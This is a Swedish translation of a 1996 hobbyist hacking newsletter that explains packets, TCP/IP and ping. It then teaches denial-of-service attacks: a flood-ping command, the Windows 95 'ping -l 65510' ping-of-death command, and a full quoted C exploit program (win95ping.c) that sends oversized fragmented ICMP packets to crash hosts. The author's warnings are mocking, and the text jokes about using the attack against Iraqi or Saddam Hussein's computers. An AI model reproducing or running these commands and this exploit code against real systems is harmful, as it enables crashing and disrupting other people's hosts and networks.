Guide Till (mestadels) Harmlös hacking Vol 2 Nummer 3 Introduktion till TCP/IP. med detta menat vi Packets!Datagram! Vi förklarar vad Ping överdimensionerat paket Denial Of Service är för något. Detta hack är inte fullt så lagligt som dom flesta andra. Försök inte detta hemma. Om du har varit på Happy Hacker listan ett tag, så har du fått läsa några artiklar som kommer ifrån Bugtraq listan som har handlat om ett nytt ping packets säkerhetshål. Om det har varit som grekiska för dig,lugn.Det är ganska lätt. Faktum är att det är så lätt ,så om du använder Windows 95 så kommer du att kunna ett enkelt enrads kommando som du kan använda för att några Internet värdar eller routrar efter att ha läst denna artikeln. **************************************************** GÅ I FÄNGELSE VARNING: Denna gången tänker jag inte varna all elaka "jag vill bli" hacker typer att vara starka och stå emot frestelsen att använda den informationen jag tänker ge nu på fel sätt. Som om jag skulle bry mig. Om en av dom åker fast för att ha kraschat några Internet värdar eller routrar. Dom kommer inte bara att åka i fängelse och få böter utan vi kommer att tycka att dom är dårar också. För detta exploit behövs ingen hjärna. Ett enrads kommando från Windows 95 yeah, Operativ Systemet designat för ovetande dårar. det finns absolut inget elit med detta hack. vad som däremot är elit är att kunna motstå att utföra denna attack. ****************************************************** ****************************************************** NYBÖRJAR NOTERING: Om packets,datagram och TCP/IP inte är dina bästa vänner ännu, tro mig när jag säger att du bör veta allt om dom för att kunna kalla dig själv en hacker. Så häng med även om det blir lite tekniskt ibland. När vi är klara, så kommer du att få tillfredställsen av att veta att du kan skapa kaos på Internet, men är för smart för att göra det. ******************************************************* Ett paket är ett sätt att skicka elektronisk information som klarar sig utan fel. Iden bygger på att ingen sändnings teknologi är perfekt. Har du lekt leken "Telefonen"? Ni är ett dussin eller så som står i en ring. Den första viskar ett meddelande till den andra, nått som t.ex. "The bun is the lowest form of wheat". den andra viskar till den tredje "A bum is the lowest form of cheating." Och den tredje viskar "Rum is the lowest form of drinking." o.s.v Det är ganska roligt att få reda på hur mycket meddelandet ändrar sig medans det går runt cirkeln, Men när du får t.ex. e-post så vill du ju att den inte skall vara förvanskad. Så datorn som skickar eposten, bryter upp informationen i små delar s.k. datagram, Och varje datagram innehåller information om till vilken dator det skall, var det kommer ifrån, och det kollar om datagrammet har blivit mixtrat med. dessa datagram paket kallas "packets". Om datorn som har skickat e-posten till dig skulle packa ihop ett riktigt långt meddelande i bara ett paket, då är chansen att det skulle kunna bli förvrängt ganska stor medan det färdas till den andra datorn. Så när mottagar datorn kollar paketet och ser att något har hänt, då slänger den det och ber den andra datorn att skicka det igen. Det skulle kunna ta ganska lång tid innan detta stora paketet skulle komma fram intakt. Men om meddelandet delas upp i många små bitar och blir packade till högar av packets, då kommer dom flesta fram oskadade och mottagar datorn kommer att behålla dom. den kommer därför endast att be om dom packets som är/var skadade igen. Sen när alla bitar har kommit fram oskadade så kommer mottagare datorn att samla ihop dom i rätt ordning och du har ett komplett och felfritt epost meddelande. TCP/IP står för Transmission Control Protocol/Internet Protocol. Detta talar om för datorer kopplade till Internet hur man packar ihop meddelanden till packets och hur man läser paket ifrån andra datorer. Ping använder TCP/IP för att göra sina packets. ********************************************************** Ping är ett kommando som sänder ut en sökare från din dator till en annan för att kolla om den är påslagen och kopplade till samma nätverk som du är. På Internet finns det över 10 miljoner datorer som du kan pinga. Ping är ett kommando som fungerar under Operativ Systemen Unix, Windows 95 och WinNT. Det är en del av Internet Control Message Protocol (ICMP), vilket används för att felsöka TCP/IP nätverk. Vad det gör är att tala om för en avlägsen dator att skicka tillbaka ett eko ping. Så om du får tillbaka pinget då vet du att den datorn lever. Ibland så får du också reda på hur lång tid det tar för ett meddelande att nå datorn och komma tillbaka igen. Så hur vet din dator att det ping den skickade ut ekar tillbaka ifrån måldatorn? Svaret är datagrammets. Pinget som skickades är ett packets, som alla andra packets så är det inlindat runt ett datagram. Om det återkommande pinget har samma datagram, då vet du att det var ditt ping som ekade tillbaka. Grundnormen för detta kommando är: Ping värdnamn där "värdnamn" är Internet adressen till den datorn du vill kolla in. När jag ger kommandot från Sun Release 4.1 Unix, får jag svaret: "hostname is alive." ***************************************************** TEKNISKT TIPS: Bara för den destruktiva styrkan hos pingen, så gömmer många internet leverantörer ping programmet i deras shell konton där ovetande nybörjare inte kan få tillgång till det. Om ditt shell konto säger "command not found" försök med: /usr/etc/ping hostname Om det inte fungerar klaga hos din ISP:s tekniska support ***************************************************** ***************************************************** NYBÖRJAR NOTERING: Så du kan inte hitta något sätt att använda ping på ifrån din online service? det kan bero på att du inte har något shell konto. Och ett SHELLKONTO är det du behöver för att kunna hacka. Orsaken att hackers gör sig roliga över Amercian Online konton är därför att dom erbjuder inga shellkonton. Detta beror på att AOL vill att ni skall vara snälla pojkar och flickor och inte hacka. Ett "shellkonto" är ett Internet konto där din dator blir en terminal på din ISP:s värd datorer. När du är inne i shellet så kan du ge kommandon till Operativ Systemet(vanligt viss Unix) precise som om du satt där vid konsolen på en av din ISP:s värdar. Du kanske redan har ett shell konto men vet bara inte hur du loggar in på det. Ring den tekniska supporten och kolla om du har ett och hur man kommer in ******************************************************* Det finns många varianter på ping kommandot. Och gissa vad? när det är ett kommando som har många variationer så kan du räkna med att det finns något hack du kan göra Muhahahaha! Flood pingen är ett enkelt kommando. Om ditt Oprativ System tillåter ge då kommandot -> ping -f hostname det skickar ut en oändlig ström av pingar, så snabbt som din ISP:s värd maskin kan tillverka dom. Detta gör så att den värd du har som måltavla blir upptagen med att eka tillbaka dom att den inte kan göra så mycket mer. Det belastar också nätverket ganska mycket. Hackers med primitiva kunskaper går ibland samman och pingar samtidigt någons Internet värd dator. I normala fall så blir den datorn då så upptagen att den inte kan göra något annat. den kan t.o.m. krascha. Men å andra sidan så finns det en nackdel (från attackerarnas vy) och det är att dom som attackerar, deras datorer blir också upptagna. ********************************************************** ********************************************************** NETIKET: Att flöda en dator med pingar är extremt ovänligt. Om du åker fast,då blir du glad om det värst som händer är att din Internet leverantör stänger ditt konto. Att göra detta mot en seriös hacker innebär att du bör bytta identitet. Om du skulle starta en flood ping av misstag, så kan du stänga av den genom att trycka ned tangenterna Ctrl och C samtidigt. *********************************************************** *********************************************************** GENIALISKT TIPS: Pinga dig själv! Om du använder något slags Unix, så låter Operativ Systemet din dator att göra detsamma mot din egen dator som du kan göra mot andras. Nätverks adressen som tar dig till baka till din egen dator är localhoast (eller 127.0.0.1) Här är ett exempel på hur jag använder localhoast: [65] ->telnet localhost Trying 127.0.0.1 ... Connected to localhost. Escape character is '^]'. SunOS UNIX (slug) login: Se jag är tillbaka vid login promten för datorn som heter "slug" igen. Nu skall jag pinga mig själv [68] ->/usr/etc/ping localhost localhost is alive Detta ger samma resultat som om jag gav kommandot [69] ->/usr/etc/ping llama llama.swcp.com is alive ********************************************************** ********************************************************** MUHAHAHAHA TIPS: Om du verkligen vill skoja med någon. Säg till dom att ftp:a till 127.0.0.1 och logga in med sitt lösenord och användare namn för häftiga Warez! Min f.d. man Keith Henson gjorde det mot Scientologerna.Dom ftp:ade till 127.0.0.1 och upptäckte alla sina copyright skyddade alster. Dom antog att detta låg på Keiths dator och inte deras egen. Dom var så säkra på att han hade deras material att dom stämde honom. När domaren förstod att dom bara hade tittat in i sin egen dator så skrattade ut dom inför hela rättsalen. Vill du ha en utskrift eller ett ljudband med denna roliga rättegång. Eposta då till hkhenson@cup.portal.com . Det är Keiths epost adress. Jag tar av mig hatten för en superb hacker. ****************************************************** Men den överdimensionerade pingen du nu skall få lära dig gör mer skada på vissa värdar än en gäng attack med flood pingen. Och det gör det utan att binda upp attackerarnas datorer längre än den split sekund det tar att skicka en ping. Det lättaste sättet att göra detta hack är att använda Windows 95. För att göra detta, så behöver du ställa in ditt Win95 system så att du kan göra en PPP eller SLIP anslutning till Internet genom att använda Fjärranslutnings programmet som finns under Min dator ikonen. Du kanske behöver be din ISP tech support om hjälp för att göra detta. Du måste göra precise så här annars fungerar det inte. American Onlines dialer fungerar absolut inte att använda. ****************************************************** NYBÖRJAR NOTERING: Om din anslutning tillåter att du använder en webläsare som kan visa bilder, då kan du använda upprignings numret med Win95' s fjärranslutnings programmet för att antingen få en PPP eller SLIP anslutning. ****************************************************** Nästa steg är att koppla upp dig mot Internet. Men starta ingen webläsare , istället när du är uppkopplad klickar du på start knappen -> program -> MS-DOS. Du får då en prompt: C:\windows\> Låt oss först göra det på ett snällt sätt. Vid prompten kan du ge ett helt vanligt ping kommando: C:\windows\ping värdnamn Där värdnamn är adressen till någon Internet dator. t.ex. så kan du pinga thales.nmia.com vilken är en av mina favorit datorer. Döpt efter en otydlig Grekisk filosof. Om du nu visste adressen till Saddam Husseins dator så kanske du skulle vilja ge kommandot: c:\windows\ping -l 65510 saddam_hussein's.computer.mil Gör nu inte detta mot en riktig dator! några,men inte alla, datorer kommer att krascha eller hänga sig eller reboota, när dom får detta ping. Andra kommer att fortsätta att fungera som vanligt, för att timmar senare bara dö. Varför? den extra -l 65510 skapar ett gigantiskt datagram som blir inlindat inne i ping paketet. Vissa datorer får fnatt när dom blir tillsagda att skicka tillbaka ett identiskt datagram. Om du vill frossa i alla detaljer om detta ping utnyttjande, och få veta hur du skyddar dig. Kolla då in http://www.sophist.demon.co.uk/ping. Det finns flera sätt att skapa ett gigantiskt ping datagram förutom att använda Windows'95. T.ex om du kör vissa FreeBSD eller Linux versioner av Unix på din dator, då kan du använda detta program postades i Bugtraq listan. From: Bill Fenner To: Multiple recipients of list BUGTRAQ Subject: Ping exploit program Since some people don't necessarily have Windows '95 boxes lying around, I (Fenner) wrote the following exploit program. It requires a raw socket layer that doesn't mess with the packet, so BSD 4.3, SunOS and Solaris are out. It works fine on 4.4BSD systems. It should work on Linux if you compile with -DREALLY_RAW. Feel free to do with this what you want. Please use this tool only to test your own machines, and not to crash others'. * win95ping.c * * Simulate the evil win95 "ping -l 65510 buggyhost". * version 1.0 Bill Fenner 22-Oct-1996 * * This requires raw sockets that don't mess with the packet at all (other * than adding the checksum). That means that SunOS, Solaris, and * BSD4.3-based systems are out. BSD4.4 systems (FreeBSD, NetBSD, * OpenBSD, BSDI) will work. Linux might work, I don't have a Linux * system to try it on. * * The attack from the Win95 box looks like: * 17:26:11.013622 cslwin95 > arkroyal: icmp: echo request (frag 6144:1480@0+) * 17:26:11.015079 cslwin95 > arkroyal: (frag 6144:1480@1480+) * 17:26:11.016637 cslwin95 > arkroyal: (frag 6144:1480@2960+) * 17:26:11.017577 cslwin95 > arkroyal: (frag 6144:1480@4440+) * 17:26:11.018833 cslwin95 > arkroyal: (frag 6144:1480@5920+) * 17:26:11.020112 cslwin95 > arkroyal: (frag 6144:1480@7400+) * 17:26:11.021346 cslwin95 > arkroyal: (frag 6144:1480@8880+ * 17:26:11.022641 cslwin95 > arkroyal: (frag 6144:1480@10360+) * 17:26:11.023869 cslwin95 > arkroyal: (frag 6144:1480@11840+) * 17:26:11.025140 cslwin95 > arkroyal: (frag 6144:1480@13320+) * 17:26:11.026604 cslwin95 > arkroyal: (frag 6144:1480@14800+) * 17:26:11.027628 cslwin95 > arkroyal: (frag 6144:1480@16280+) * 17:26:11.028871 cslwin95 > arkroyal: (frag 6144:1480@17760+) * 17:26:11.030100 cslwin95 > arkroyal: (frag 6144:1480@19240+) * 17:26:11.031307 cslwin95 > arkroyal: (frag 6144:1480@20720+) * 17:26:11.032542 cslwin95 > arkroyal: (frag 6144:1480@22200+) * 17:26:11.033774 cslwin95 > arkroyal: (frag 6144:1480@23680+) * 17:26:11.035018 cslwin95 > arkroyal: (frag 6144:1480@25160+) * 17:26:11.036576 cslwin95 > arkroyal: (frag 6144:1480@26640+) * 17:26:11.037464 cslwin95 > arkroyal: (frag 6144:1480@28120+) * 17:26:11.038696 cslwin95 > arkroyal: (frag 6144:1480@29600+) * 17:26:11.039966 cslwin95 > arkroyal: (frag 6144:1480@31080+) * 17:26:11.041218 cslwin95 > arkroyal: (frag 6144:1480@32560+) * 17:26:11.042579 cslwin95 > arkroyal: (frag 6144:1480@34040+) * 17:26:11.043807 cslwin95 > arkroyal: (frag 6144:1480@35520+) * 17:26:11.046276 cslwin95 > arkroyal: (frag 6144:1480@37000+) * 17:26:11.047236 cslwin95 > arkroyal: (frag 6144:1480@38480+) * 17:26:11.048478 cslwin95 > arkroyal: (frag 6144:1480@39960+) * 17:26:11.049698 cslwin95 > arkroyal: (frag 6144:1480@41440+) * 17:26:11.050929 cslwin95 > arkroyal: (frag 6144:1480@42920+) * 17:26:11.052164 cslwin95 > arkroyal: (frag 6144:1480@44400+) * 17:26:11.053398 cslwin95 > arkroyal: (frag 6144:1480@45880+) * 17:26:11.054685 cslwin95 > arkroyal: (frag 6144:1480@47360+) * 17:26:11.056347 cslwin95 > arkroyal: (frag 6144:1480@48840+) * 17:26:11.057313 cslwin95 > arkroyal: (frag 6144:1480@50320+) * 17:26:11.058357 cslwin95 > arkroyal: (frag 6144:1480@51800+) * 17:26:11.059588 cslwin95 > arkroyal: (frag 6144:1480@53280+) * 17:26:11.060787 cslwin95 > arkroyal: (frag 6144:1480@54760+) * 17:26:11.062023 cslwin95 > arkroyal: (frag 6144:1480@56240+) * 17:26:11.063247 cslwin95 > arkroyal: (frag 6144:1480@57720+) * 17:26:11.064479 cslwin95 > arkroyal: (frag 6144:1480@59200+) * 17:26:11.066252 cslwin95 > arkroyal: (frag 6144:1480@60680+) * 17:26:11.066957 cslwin95 > arkroyal: (frag 6144:1480@62160+) * 17:26:11.068220 cslwin95 > arkroyal: (frag 6144:1480@63640+) * 17:26:11.069107 cslwin95 > arkroyal: (frag 6144:398@65120) * */ #include #include #include #include #include #include #include #include /* * If your kernel doesn't muck with raw packets, #define REALLY_RAW. * This is probably only Linux. */ #ifdef REALLY_RAW #define FIX(x) htons(x) #else #define FIX(x) (x) #endif int main(int argc, char **argv) { int s; char buf[1500]; struct ip *ip = (struct ip *)buf; struct icmp *icmp = (struct icmp *)(ip + 1); struct hostent *hp; struct sockaddr_in dst; int offset; int on = 1; bzero(buf, sizeof buf); if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_IP)) < 0) { perror("socket"); exit(1); } if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) { perror("IP_HDRINCL"); exit(1); } if (argc != 2) { fprintf(stderr, "usage: %s hostname\n", argv[0]); exit(1); } if ((hp = gethostbyname(argv[1])) == NULL) { if ((ip->ip_dst.s_addr = inet_addr(argv[1])) == -1) { fprintf(stderr, "%s: unknown host\n", argv[1]); } } else { bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length); } printf("Sending to %s\n", inet_ntoa(ip->ip_dst)); ip->ip_v = 4; ip->ip_hl = sizeof *ip >> 2; ip->ip_tos = 0; ip->ip_len = FIX(sizeof buf); ip->ip_id = htons(4321); ip->ip_off = FIX(0); ip->ip_ttl = 255; ip->ip_p = 1; ip->ip_sum = 0; /* kernel fills in */ ip->ip_src.s_addr = 0; /* kernel fills in */ dst.sin_addr = ip->ip_dst; dst.sin_family = AF_INET; icmp->icmp_type = ICMP_ECHO; icmp->icmp_code = 0; icmp->icmp_cksum = htons(~(ICMP_ECHO << 8)); /* the checksum of all 0's is easy to compute */ for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof *ip)) { ip->ip_off = FIX(offset >> 3); if (offset < 65120) ip->ip_off |= FIX(IP_MF); else ip->ip_len = FIX(418); /* make total 65538 */ if (sendto(s, buf, sizeof buf, 0, (struct sockaddr *)&dst, sizeof dst) < 0) { fprintf(stderr, "offset %d: ", offset); perror("sendto"); } if (offset == 0) { icmp->icmp_type = 0; icmp->icmp_code = 0; icmp->icmp_cksum = 0; } } } (End of Fenner's ping exploit message.) *************************************************** GÅ I FÄNGELSE VARNING:Detta hack är inte elit, om du läser detta då vet du antagligen inte tillräckligt för att inte åka fast, men å andra sidan om du skulle göra detta mot en Internet värd i Irak................. **************************************************** Givet viss finns det andra roliga saker man kan göra med pinget. Om du har ett Shell konto, då kan du lära dig mer om pinget genom att ge kommandot: man ping Faktum är att du kan få mycket information om alla Unix kommandon genom "man" Ha roligt med pingen-------- och var snäll! men kom ihåg, Jag ber inte er elaka "vill bli hacker" personer att vara snälla. Se om jag bryr mig när ni åker fast. ____________________________________________________________ Om du vill kolla in tidigare delar av Guide to (most) Harmless Hacking - kolla sidorna http://techbroker.com/happyhacker.html (den officiella Happy Hacker sidan) http://www.daman.tierranet.com/resources/gtmhh/gtmhhindex.html] http://www.silitoad.org http://www.anet-chi.com/~dsweir http://www.ilf.net/brotherhood/ http://www.magnum44.com/orion/entry.htm http://home.pages.de/~ristridin http://www.axess.com/users/wookie/Hack.htm http://home2.swipnet.se/~w-25277/ http://w1.340.telia.com/~u34002171/hhd.html (Svenska happy hacker sidan) http://w1.340.telia.com/~u34002171/hhd/gtmhh/svenska/hhdsvensk.html Du kan prenumerera på diskussions listan genom att skicka e-post till hacker@techbroker.com med meddelandet "subscribe" . Det här är den amerikanska sidan och all info är på engelska. Om du vill dela med dig av coola tips eller rätta saker du tycker är fel - skicka meddelande till hacker@techbroker.com Om du vill skicka konfidentiell post (på engelska) - inga frågor om illegal hacking - till mig - skicka till cmeinel@techbroker.com och om du vill vara anonym,går det bra men nämn detta i ditt e-mail. Skicka alla flames till /dev/null. Copyright 1996 Carolyn P. Meinel. Du kan lägga upp den här guiden på din sida om du behåller de här sista raderna: ___________________________________________________________________________ Svensk översättning: Håkan Wassberg Februari 1998 ___________________________________________________________________________ Carolyn Meinel M/B Research -- The Technology Brokers